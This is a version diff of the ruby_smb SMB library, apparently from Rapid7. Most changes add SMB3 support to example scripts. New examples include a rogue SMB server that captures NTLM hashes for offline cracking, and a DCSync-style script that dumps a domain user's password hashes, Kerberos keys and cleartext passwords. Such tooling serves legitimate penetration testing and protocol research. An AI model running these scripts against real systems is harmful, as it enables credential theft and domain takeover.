ruby_smb 2.0.2 → 3.0.0

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: e93c38e303cd6e34066d103fd2da4a21c760016778e221491f690d57f628e408
-  data.tar.gz: 5dfe1d3f1febbc197eb9cd4c4fe203a9b0d04a576e10d1aff4812dca5fcd4f4b
+  metadata.gz: fb07e11fb5720a38ab9c1c1ba57b47ff291c048bb4b0ca404aad9c4bf05273d8
+  data.tar.gz: bd0512b6e64200103ea611d5bc0616dc939beaf5a10cd15f2219ffcd1ee131e6
 SHA512:
-  metadata.gz: 915802d1d3685aa46074e721dc226f66904e9942654cceae5b3fd701be533f00057ef9d554edaaaad115754c4a75cad5c5ac09c53a11895658897ce5326236a1
-  data.tar.gz: 1f78090e799579e6f3a4dd6639cf20a88b89ed865157479e6634f55388125db05e7698117e66effde3e30bfaae98750a6230a8eb1ec057777339a70412390878
+  metadata.gz: c12456264fc7eb9fe49b8a62e083e01adf62521ffb39c5a0748904800cd6e2c99d594c259043dcdf4d967edbb52ccaa0fed0255125d8f85df803156e344aa0c1
+  data.tar.gz: 17781d318b042e2b0a76af4fc11b1430f42a224bd775696a882a19009303efe02f2b9285477475d10db8dd29272894ad87312281f125ce76382966ec6806941e

data/.github/workflows/verify.yml

@@ -0,0 +1,46 @@
+name: Verify
+
+on:
+  push:
+    branches:
+      - '*'
+  pull_request:
+    branches:
+      - '*'
+
+jobs:
+  test:
+    runs-on: ubuntu-18.04
+    timeout-minutes: 40
+
+    strategy:
+      fail-fast: true
+      matrix:
+        ruby:
+          - 2.5
+          - 2.6
+          - 2.7
+          - 3.0.3
+        test_cmd:
+          - bundle exec rspec
+
+    env:
+      RAILS_ENV: test
+
+    name: Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v2
+
+      - name: Setup Ruby
+        uses: ruby/setup-ruby@v1
+        with:
+          ruby-version: ${{ matrix.ruby }}
+          bundler-cache: true
+
+      - name: ${{ matrix.test_cmd }}
+        run: |
+          echo "${CMD}"
+          bash -c "${CMD}"
+        env:
+          CMD: ${{ matrix.test_cmd }}

data/README.md

@@ -1,6 +1,5 @@
 # RubySMB
 
-[![Build Status](https://travis-ci.org/rapid7/ruby_smb.svg?branch=master)](https://travis-ci.org/rapid7/ruby_smb)
 [![Code Climate](https://codeclimate.com/github/rapid7/ruby_smb.png)](https://codeclimate.com/github/rapid7/ruby_smb)
 [![Coverage Status](https://coveralls.io/repos/github/rapid7/ruby_smb/badge.svg?branch=master)](https://coveralls.io/github/rapid7/ruby_smb?branch=master)
 

data/examples/anonymous_auth.rb

@@ -6,12 +6,12 @@
 require 'bundler/setup'
 require 'ruby_smb'
 
-def run_authentication(address, smb1, smb2, username, password)
+def run_authentication(address, smb1, smb2, smb3, username, password)
   # Create our socket and add it to the dispatcher
   sock = TCPSocket.new address, 445
   dispatcher = RubySMB::Dispatcher::Socket.new(sock)
 
-  client = RubySMB::Client.new(dispatcher, smb1: smb1, smb2: smb2, username: username, password: password)
+  client = RubySMB::Client.new(dispatcher, smb1: smb1, smb2: smb2, smb3: smb3, username: username, password: password)
   protocol = client.negotiate
   status = client.authenticate
   puts "#{protocol} : #{status}"
@@ -27,4 +27,4 @@ username = ''
 password = ''
 
 # Negotiate with only SMB1 enabled
-run_authentication(address, true, false, username, password)
+run_authentication(address, true, false, false, username, password)

data/examples/append_file.rb

@@ -9,18 +9,20 @@
 require 'bundler/setup'
 require 'ruby_smb'
 
-address  = ARGV[0]
-username = ARGV[1]
-password = ARGV[2]
-share    = ARGV[3]
-file     = ARGV[4]
-data     = ARGV[5]
-path     = "\\\\#{address}\\#{share}"
+address      = ARGV[0]
+username     = ARGV[1]
+password     = ARGV[2]
+share        = ARGV[3]
+file         = ARGV[4]
+data         = ARGV[5]
+smb_versions = ARGV[6]&.split(',') || ['1','2','3']
+
+path = "\\\\#{address}\\#{share}"
 
 sock = TCPSocket.new address, 445
 dispatcher = RubySMB::Dispatcher::Socket.new(sock)
 
-client = RubySMB::Client.new(dispatcher, smb1: true, smb2: true, username: username, password: password)
+client = RubySMB::Client.new(dispatcher, smb1: smb_versions.include?('1'), smb2: smb_versions.include?('2'), smb3: smb_versions.include?('3'), username: username, password: password)
 protocol = client.negotiate
 status = client.authenticate
 

data/examples/auth_capture.rb

@@ -0,0 +1,71 @@
+#!/usr/bin/ruby
+
+require 'bundler/setup'
+require 'ruby_smb'
+require 'ruby_smb/gss/provider/ntlm'
+
+# we just need *a* default encoding to handle the strings from the NTLM messages
+Encoding.default_internal = 'UTF-8' if Encoding.default_internal.nil?
+
+def bin_to_hex(s)
+  s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
+end
+
+# this is a custom NTLM provider that will log the challenge and responses for offline cracking action!
+class HaxorNTLMProvider < RubySMB::Gss::Provider::NTLM
+  class Authenticator < RubySMB::Gss::Provider::NTLM::Authenticator
+    # override the NTLM type 3 process method to extract all of the valuable information
+    def process_ntlm_type3(type3_msg)
+      username = "#{type3_msg.domain.encode}\\#{type3_msg.user.encode}"
+      _, client = ::Socket::unpack_sockaddr_in(@server_client.getpeername)
+
+      hash_type = nil
+      hash = "#{type3_msg.user.encode}::#{type3_msg.domain.encode}"
+
+      case type3_msg.ntlm_version
+      when :ntlmv1
+        hash_type = 'NTLMv1-SSP'
+        hash << ":#{bin_to_hex(type3_msg.lm_response)}"
+        hash << ":#{bin_to_hex(type3_msg.ntlm_response)}"
+        hash << ":#{bin_to_hex(@server_challenge)}"
+      when :ntlmv2
+        hash_type = 'NTLMv2-SSP'
+        hash << ":#{bin_to_hex(@server_challenge)}"
+        # NTLMv2 responses consist of the proof string whose calculation also includes the additional response fields
+        hash << ":#{bin_to_hex(type3_msg.ntlm_response[0...16])}"  # proof string
+        hash << ":#{bin_to_hex(type3_msg.ntlm_response[16.. -1])}" # additional response fields
+      end
+
+      unless hash_type.nil?
+        version = @server_client.metadialect.version_name
+        puts "[#{version}] #{hash_type} Client   : #{client}"
+        puts "[#{version}] #{hash_type} Username : #{username}"
+        puts "[#{version}] #{hash_type} Hash     : #{hash}"
+      end
+
+      WindowsError::NTStatus::STATUS_ACCESS_DENIED
+    end
+  end
+
+  def new_authenticator(server_client)
+    # build and return an instance that can process and track stateful information for a particular connection but
+    # that's backed by this particular provider
+    Authenticator.new(self, server_client)
+  end
+
+  # we're overriding the default challenge generation routine here as opposed to leaving it random (the default)
+  def generate_server_challenge(&block)
+    "\x11\x22\x33\x44\x55\x66\x77\x88"
+  end
+end
+
+# define a new server with the custom authentication provider
+server = RubySMB::Server.new(
+  gss_provider: HaxorNTLMProvider.new
+)
+puts "server is running"
+server.run do
+  puts "received connection"
+  # accept all of the connections and run forever
+  true
+end

data/examples/authenticate.rb

@@ -6,12 +6,12 @@
 require 'bundler/setup'
 require 'ruby_smb'
 
-def run_authentication(address, smb1, smb2, username, password)
+def run_authentication(address, smb1, smb2, smb3, username, password)
   # Create our socket and add it to the dispatcher
   sock = TCPSocket.new address, 445
   dispatcher = RubySMB::Dispatcher::Socket.new(sock)
 
-  client = RubySMB::Client.new(dispatcher, smb1: smb1, smb2: smb2, username: username, password: password)
+  client = RubySMB::Client.new(dispatcher, smb1: smb1, smb2: smb2, smb3: smb3, username: username, password: password)
   protocol = client.negotiate
   status = client.authenticate
   puts "#{protocol} : #{status}"
@@ -32,9 +32,13 @@ address  = ARGV[0]
 username = ARGV[1]
 password = ARGV[2]
 
+# Negotiate with SMB1, SMB2 and SMB3 enabled on the client
+run_authentication(address, true, true, true, username, password)
 # Negotiate with both SMB1 and SMB2 enabled on the client
-run_authentication(address, true, true, username, password)
+run_authentication(address, true, true, false, username, password)
 # Negotiate with only SMB1 enabled
-run_authentication(address, true, false, username, password)
+run_authentication(address, true, false, false, username, password)
 # Negotiate with only SMB2 enabled
-run_authentication(address, false, true, username, password)
+run_authentication(address, false, true, false, username, password)
+# Negotiate with only SMB3 enabled
+run_authentication(address, false, false, true, username, password)

data/examples/delete_file.rb

@@ -9,17 +9,19 @@
 require 'bundler/setup'
 require 'ruby_smb'
 
-address  = ARGV[0]
-username = ARGV[1]
-password = ARGV[2]
-share    = ARGV[3]
-file     = ARGV[4]
+address      = ARGV[0]
+username     = ARGV[1]
+password     = ARGV[2]
+share        = ARGV[3]
+file         = ARGV[4]
+smb_versions = ARGV[5]&.split(',') || ['1','2','3']
+
 path     = "\\\\#{address}\\#{share}"
 
 sock = TCPSocket.new address, 445
 dispatcher = RubySMB::Dispatcher::Socket.new(sock)
 
-client = RubySMB::Client.new(dispatcher, smb1: true, smb2: true, username: username, password: password)
+client = RubySMB::Client.new(dispatcher, smb1: smb_versions.include?('1'), smb2: smb_versions.include?('2'), smb3: smb_versions.include?('3'), username: username, password: password)
 
 protocol = client.negotiate
 status = client.authenticate

data/examples/dump_secrets_from_sid.rb

@@ -0,0 +1,207 @@
+#!/usr/bin/ruby
+
+# This example script is used for testing DCERPC client and DRSR structures.
+# It will attempt to connect to a host and enumerate user secrets.
+# Example usage: ruby dump_secrets_from_sid.rb 192.168.172.138 msfadmin msfadmin MYDOMAIN S-1-5-21-419547006-9448028-4223375872-500
+# This will try to connect to \\192.168.172.138 with the msfadmin:msfadmin
+# credentials and enumerate secrets of domain user with SID
+# S-1-5-21-419547006-9448028-4223375872-500
+
+require 'bundler/setup'
+require 'ruby_smb/dcerpc/client'
+
+
+address      = ARGV[0]
+username     = ARGV[1]
+password     = ARGV[2]
+domain       = ARGV[3]
+sid          = ARGV[4]
+
+client = RubySMB::Dcerpc::Client.new(
+  address,
+  RubySMB::Dcerpc::Drsr,
+  username: username,
+  password: password,
+)
+client.connect
+puts('Binding to DRSR...')
+client.bind(
+  auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
+  auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
+)
+puts('Bound to DRSR')
+ph_drs = client.drs_bind
+puts "ph_drs: #{ph_drs}"
+puts
+
+dc_infos = client.drs_domain_controller_info(ph_drs, domain)
+dc_infos.each do |dc_info|
+  dc_info.field_names.each do |field|
+    puts "#{field}: #{dc_info.send(field).to_s.encode('utf-8')}"
+  end
+  puts
+  puts
+
+  crack_names = client.drs_crack_names(ph_drs, rp_names: [sid])
+  puts "SID: #{sid}"
+  crack_names.each do |crack_name|
+    puts "Domain: #{crack_name.p_domain.to_s.encode('utf-8')}"
+    puts "Name: #{crack_name.p_name.to_s.encode('utf-8')}"
+
+    user_record = client.drs_get_nc_changes(
+      ph_drs,
+      nc_guid: crack_name.p_name.to_s.encode('utf-8'),
+      dsa_object_guid: dc_info.ntds_dsa_object_guid,
+    )
+
+    # self.__decryptHash
+    dn = user_record.pmsg_out.msg_getchg.p_nc.string_name.to_ary[0..-1].join.encode('utf-8')
+    puts "Decrypting hash for user: #{dn}"
+
+    entinf_struct = user_record.pmsg_out.msg_getchg.p_objects.entinf
+    object_sid = rid = entinf_struct.p_name.sid[-4..-1].unpack('<L').first
+    lm_hash = Net::NTLM.lm_hash('')
+    nt_hash = Net::NTLM.ntlm_hash('')
+    disabled = nil
+    computer_account = nil
+    password_never_expires = nil
+    password_not_required = nil
+    pwd_last_set = nil
+    last_logon = nil
+    expires = nil
+    lm_history = []
+    nt_history = []
+    domain_name = ''
+    user = 'unknown'
+    kerberos_keys = {}
+    clear_text_passwords = []
+
+    entinf_struct.attr_block.p_attr.each do |attr|
+      next unless attr.attr_val.val_count > 0
+      # begin
+      att_id = user_record.pmsg_out.msg_getchg.oid_from_attid(attr.attr_typ)
+      lookup_table = RubySMB::Dcerpc::Drsr::ATTRTYP_TO_ATTID
+      # rescue XXXX
+      #   att_id = attr.attr_typ
+      #   lookup_table = NAME_TO_ATTRTYP
+      # end
+
+      #puts "#{lookup_table.key(att_id) || 'Unknown'}: #{attr.attr_val.p_aval[0].p_val}"
+
+      attribute_value = attr.attr_val.p_aval[0].p_val.to_ary.map(&:chr).join
+      case att_id
+      when lookup_table['dBCSPwd']
+        encrypted_lm_hash = client.decrypt_attribute_value(attribute_value)
+        lm_hash = client.remove_des_layer(encrypted_lm_hash, rid)
+      when lookup_table['unicodePwd']
+        encrypted_nt_hash = client.decrypt_attribute_value(attribute_value)
+        nt_hash = client.remove_des_layer(encrypted_nt_hash, rid)
+      when lookup_table['userPrincipalName']
+        domain_name = attribute_value.force_encoding('utf-16le').encode('utf-8').split('@').last
+      when lookup_table['sAMAccountName']
+        user = attribute_value.force_encoding('utf-16le').encode('utf-8')
+      when lookup_table['objectSid']
+        object_sid = attribute_value
+      when lookup_table['userAccountControl']
+        user_account_control =  attribute_value.unpack('L<')[0]
+        disabled = user_account_control & RubySMB::Dcerpc::Samr::UF_ACCOUNTDISABLE != 0
+        computer_account = user_account_control & RubySMB::Dcerpc::Samr::UF_NORMAL_ACCOUNT == 0
+        password_never_expires = user_account_control & RubySMB::Dcerpc::Samr::UF_DONT_EXPIRE_PASSWD != 0
+        password_not_required = user_account_control & RubySMB::Dcerpc::Samr::UF_PASSWD_NOTREQD != 0
+      when lookup_table['pwdLastSet']
+        pwd_last_set = Time.at(0)
+        time_value = attribute_value.unpack('Q<')[0]
+        if time_value > 0
+          pwd_last_set = RubySMB::Field::FileTime.new(time_value).to_time.utc
+        end
+      when lookup_table['accountExpires']
+        expires = Time.at(0)
+        time_value = attribute_value.unpack('Q<')[0]
+        if time_value > 0 && time_value != 0x7FFFFFFFFFFFFFFF
+          expires = RubySMB::Field::FileTime.new(time_value).to_time.utc
+        end
+      when lookup_table['lastLogonTimestamp']
+        last_logon = Time.at(0)
+        time_value = attribute_value.unpack('Q<')[0]
+        if time_value > 0
+          last_logon = RubySMB::Field::FileTime.new(time_value).to_time.utc
+        end
+      when lookup_table['lmPwdHistory']
+        tmp_lm_history = client.decrypt_attribute_value(attribute_value)
+        tmp_lm_history.bytes.each_slice(16) do |block|
+          lm_history << client.remove_des_layer(block.map(&:chr).join, rid)
+        end
+      when lookup_table['ntPwdHistory']
+        tmp_nt_history = client.decrypt_attribute_value(attribute_value)
+        tmp_nt_history.bytes.each_slice(16) do |block|
+          nt_history << client.remove_des_layer(block.map(&:chr).join, rid)
+        end
+      when lookup_table['supplementalCredentials']
+        # self.__decryptSupplementalInfo
+        plain_text = client.decrypt_attribute_value(attribute_value)
+        user_properties = RubySMB::Dcerpc::Samr::UserProperties.read(plain_text)
+        user_properties.user_properties.each do |user_property|
+          case user_property.property_name.encode('utf-8')
+          when 'Primary:Kerberos-Newer-Keys'
+            value = user_property.property_value
+            binary_value = value.chars.each_slice(2).map {|a,b| (a+b).hex.chr}.join
+            kerb_stored_credential_new = RubySMB::Dcerpc::Samr::KerbStoredCredentialNew.read(binary_value)
+            key_values = kerb_stored_credential_new.get_key_values
+            kerb_stored_credential_new.credentials.each_with_index do |credential, i|
+              kerberos_type = RubySMB::Dcerpc::Samr::KERBEROS_TYPE[credential.key_type]
+              if kerberos_type
+                kerberos_keys[kerberos_type] = key_values[i].unpack('H*')[0]
+              else
+                kerberos_keys["0x#{credential.key_type.to_i.to_s(16)}"] = key_values[i].unpack('H*')[0]
+              end
+            end
+          when 'Primary:CLEARTEXT'
+            # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
+            # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
+            begin
+              clear_text_passwords << user_property.property_value.to_s.force_encoding('utf-16le').encode('utf-8')
+            rescue EncodingError
+              # This could be because we're decoding a machine password. Printing it hex
+              # Keep clear_text_passwords with a ASCII-8BIT encoding
+              clear_text_passwords << user_property.property_value.to_s
+            end
+          end
+        end
+      end
+    end
+
+    user = "#{domain_name}\\#{user}" unless domain_name.empty?
+
+    puts "#{user}:#{rid}:#{lm_hash.unpack('H*')[0]}:#{nt_hash.unpack('H*')[0]}:::"
+    puts "Object SID: 0x#{object_sid.unpack('H*')[0]}"
+    puts "Password last set: #{pwd_last_set && pwd_last_set > Time.at(0) ? pwd_last_set : 'never'}"
+    puts "Last logon: #{last_logon && last_logon > Time.at(0) ? last_logon : 'never'}"
+    puts "Account disabled: #{disabled.nil? ? 'N/A' : disabled}"
+    puts "Computer account: #{computer_account.nil? ? 'N/A' : computer_account}"
+    puts "Password never expires: #{password_never_expires.nil? ?  'N/A' : password_never_expires}"
+    puts "Password not required: #{password_not_required.nil? ? 'N/A' : password_not_required}"
+    puts "Expired: #{!disabled && expires && expires > Time.at(0) && expires < Time.now}"
+    if nt_history.size > 1 and lm_history.size > 1
+      puts "Password history:"
+      nt_history[1..-1].zip(lm_history[1..-1]).each_with_index do |history, i|
+        nt_h, lm_h = history
+        empty_lm_h = Net::NTLM.lm_hash('')
+        puts "  #{user}_history#{i}:#{rid}:#{empty_lm_h.unpack('H*')[0]}:#{nt_h.to_s.unpack('H*')[0]}::: (if LMHashes are not stored)"
+        puts "  #{user}_history#{i}:#{rid}:#{lm_h.to_s.unpack('H*')[0]}:#{nt_h.to_s.unpack('H*')[0]}::: (if LMHashes are stored)"
+      end
+    end
+    puts "Kerberos keys:"
+    kerberos_keys.each do |key_type, key_value|
+      puts "  #{user}:#{key_type}:#{key_value}"
+    end
+    puts "Clear passwords:"
+    clear_text_passwords.each do |passwd|
+      puts "  #{user}:CLEARTEXT:#{passwd}"
+    end
+  end
+end
+
+client.drs_unbind(ph_drs)
+client.close
+
+puts 'Done'

data/examples/enum_domain_users.rb

@@ -0,0 +1,75 @@
+#!/usr/bin/ruby
+
+# This example script is used for testing DCERPC SAMR requests.
+# It will attempt to connect to a server object and enumerate domain users.
+# Example usage: ruby enum_domain_users.rb 192.168.172.138 msfadmin msfadmin MyDomain
+
+require 'bundler/setup'
+require 'ruby_smb'
+
+address      = ARGV[0]
+username     = ARGV[1]
+password     = ARGV[2]
+domain       = ARGV[3]
+smb_versions = ARGV[4]&.split(',') || ['1','2','3']
+
+sock = TCPSocket.new address, 445
+dispatcher = RubySMB::Dispatcher::Socket.new(sock, read_timeout: 60)
+
+client = RubySMB::Client.new(dispatcher, smb1: smb_versions.include?('1'), smb2: smb_versions.include?('2'), smb3: smb_versions.include?('3'), username: username, password: password)
+protocol = client.negotiate
+status = client.authenticate
+
+puts "#{protocol} : #{status}"
+
+tree = client.tree_connect("\\\\#{address}\\IPC$")
+samr = tree.open_file(filename: 'samr', write: true, read: true)
+
+puts('Binding to \\samr...')
+samr.bind(endpoint: RubySMB::Dcerpc::Samr)
+puts('Bound to \\samr')
+
+puts('[+] SAMR Connect')
+server_handle = samr.samr_connect
+
+domain_sid = samr.samr_lookup_domain(server_handle: server_handle, name: domain)
+domain_handle = samr.samr_open_domain(server_handle: server_handle, domain_id: domain_sid)
+
+builtin_domain_sid = samr.samr_lookup_domain(server_handle: server_handle, name: 'Builtin')
+builtin_domain_handle = samr.samr_open_domain(server_handle: server_handle, domain_id: builtin_domain_sid)
+
+users = samr.samr_enumerate_users_in_domain(domain_handle: domain_handle)
+
+puts 'RID   | SID                                         | Name          | Domain Groups | Domain Alias Groups | Builtin Alias Groups'
+puts '--------------------------------------------------------------------------------------------------------------------------------'
+users.each do |rid, name|
+  sid = samr.samr_rid_to_sid(object_handle: domain_handle, rid: rid)
+  domain_sid = sid.to_s.split('-')[0..-2].join('-')
+
+  user_handle = samr.samr_open_user(domain_handle: domain_handle, user_id: rid)
+  groups = samr.samr_get_group_for_user(user_handle: user_handle)
+  groups = groups.map { |group| RubySMB::Dcerpc::Samr::RpcSid.new("#{domain_sid}-#{group.relative_id.to_i}") }
+
+  alias_groups = samr.samr_get_alias_membership(domain_handle: domain_handle, sids: groups + [sid])
+  alias_groups = alias_groups.map { |group| RubySMB::Dcerpc::Samr::RpcSid.new("#{domain_sid}-#{group}") }
+
+  builtin_alias_groups = samr.samr_get_alias_membership(domain_handle: builtin_domain_handle, sids: groups + [sid])
+  builtin_alias_groups = builtin_alias_groups.map { |group| RubySMB::Dcerpc::Samr::RpcSid.new("#{domain_sid}-#{group}") }
+
+  #TODO: implement [LSAT] LsarLookupSids2 call to get the name of the "Unknown SID"'s
+
+  output = "#{"%-5s" % rid} | #{"%-43s" % sid} | #{name.encode('UTF-8')}"
+  output << " | #{groups.empty? ? 'N/A' : groups.map(&:name).join(', ')}"
+  output << " | #{alias_groups.empty? ? 'N/A' : alias_groups.map(&:name).join(', ')}"
+  output << " | #{builtin_alias_groups.empty? ? 'N/A' : builtin_alias_groups.map(&:name).join(', ')}"
+  puts output
+
+  samr.close_handle(user_handle)
+end
+
+samr.close_handle(domain_handle)
+samr.close_handle(builtin_domain_handle)
+samr.close_handle(server_handle)
+
+client.disconnect!
+

data/examples/enum_registry_key.rb

@@ -8,15 +8,16 @@
 require 'bundler/setup'
 require 'ruby_smb'
 
-address  = ARGV[0]
-username = ARGV[1]
-password = ARGV[2]
+address      = ARGV[0]
+username     = ARGV[1]
+password     = ARGV[2]
 registry_key = ARGV[3]
+smb_versions = ARGV[4]&.split(',') || ['1','2','3']
 
 sock = TCPSocket.new address, 445
 dispatcher = RubySMB::Dispatcher::Socket.new(sock, read_timeout: 60)
 
-client = RubySMB::Client.new(dispatcher, smb1: true, smb2: true, username: username, password: password)
+client = RubySMB::Client.new(dispatcher, smb1: smb_versions.include?('1'), smb2: smb_versions.include?('2'), smb3: smb_versions.include?('3'), username: username, password: password)
 protocol = client.negotiate
 status = client.authenticate
 

data/examples/enum_registry_values.rb

@@ -8,15 +8,16 @@
 require 'bundler/setup'
 require 'ruby_smb'
 
-address  = ARGV[0]
-username = ARGV[1]
-password = ARGV[2]
+address      = ARGV[0]
+username     = ARGV[1]
+password     = ARGV[2]
 registry_key = ARGV[3]
+smb_versions = ARGV[4]&.split(',') || ['1','2','3']
 
 sock = TCPSocket.new address, 445
 dispatcher = RubySMB::Dispatcher::Socket.new(sock, read_timeout: 60)
 
-client = RubySMB::Client.new(dispatcher, smb1: true, smb2: true, username: username, password: password)
+client = RubySMB::Client.new(dispatcher, smb1: smb_versions.include?('1'), smb2: smb_versions.include?('2'), smb3: smb_versions.include?('3'), username: username, password: password)
 protocol = client.negotiate
 status = client.authenticate
 

data/examples/get_computer_info.rb

@@ -0,0 +1,42 @@
+#!/usr/bin/ruby
+
+# This example script is used for testing DCERPC WKST requests.
+# It will attempt to retrieve configuration information of a remote computer/server.
+# Example usage: ruby enum_domain_users.rb 192.168.172.138 msfadmin msfadmin MyDomain
+
+require 'bundler/setup'
+require 'ruby_smb'
+
+address      = ARGV[0]
+username     = ARGV[1]
+password     = ARGV[2]
+smb_versions = ARGV[3]&.split(',') || ['1','2','3']
+
+sock = TCPSocket.new address, 445
+dispatcher = RubySMB::Dispatcher::Socket.new(sock, read_timeout: 60)
+
+client = RubySMB::Client.new(dispatcher, smb1: smb_versions.include?('1'), smb2: smb_versions.include?('2'), smb3: smb_versions.include?('3'), username: username, password: password)
+protocol = client.negotiate
+status = client.authenticate
+
+puts "#{protocol} : #{status}"
+
+tree = client.tree_connect("\\\\#{address}\\IPC$")
+wkssvc = tree.open_file(filename: 'wkssvc', write: true, read: true)
+
+puts('Binding to \\wkssvc...')
+wkssvc.bind(endpoint: RubySMB::Dcerpc::Wkssvc)
+puts('Bound to \\wkssvc')
+
+puts('[+] WKSSVC Connect')
+
+info = wkssvc.netr_wksta_get_info
+platform = RubySMB::Dcerpc::Wkssvc::PLATFORM_ID[info.wki100_platform_id]
+puts "Platform: #{platform || 'Unknown'}"
+puts "Computer Name: #{info.wki100_computername.encode('utf-8')}"
+puts "LAN Group: #{info.wki100_langroup.encode('utf-8')}"
+puts "OS Version: #{info.wki100_ver_major}.#{info.wki100_ver_minor}"
+
+client.disconnect!
+
+

data/examples/list_directory.rb

@@ -10,17 +10,19 @@
 require 'bundler/setup'
 require 'ruby_smb'
 
-address  = ARGV[0]
-username = ARGV[1]
-password = ARGV[2]
-share    = ARGV[3]
-dir      = ARGV[4]
+address      = ARGV[0]
+username     = ARGV[1]
+password     = ARGV[2]
+share        = ARGV[3]
+dir          = ARGV[4]
+smb_versions = ARGV[5]&.split(',') || ['1','2','3']
+
 path     = "\\\\#{address}\\#{share}"
 
 sock = TCPSocket.new address, 445
 dispatcher = RubySMB::Dispatcher::Socket.new(sock)
 
-client = RubySMB::Client.new(dispatcher, smb1: true, smb2: true, username: username, password: password)
+client = RubySMB::Client.new(dispatcher, smb1: smb_versions.include?('1'), smb2: smb_versions.include?('2'), smb3: smb_versions.include?('3'), username: username, password: password)
 protocol = client.negotiate
 status = client.authenticate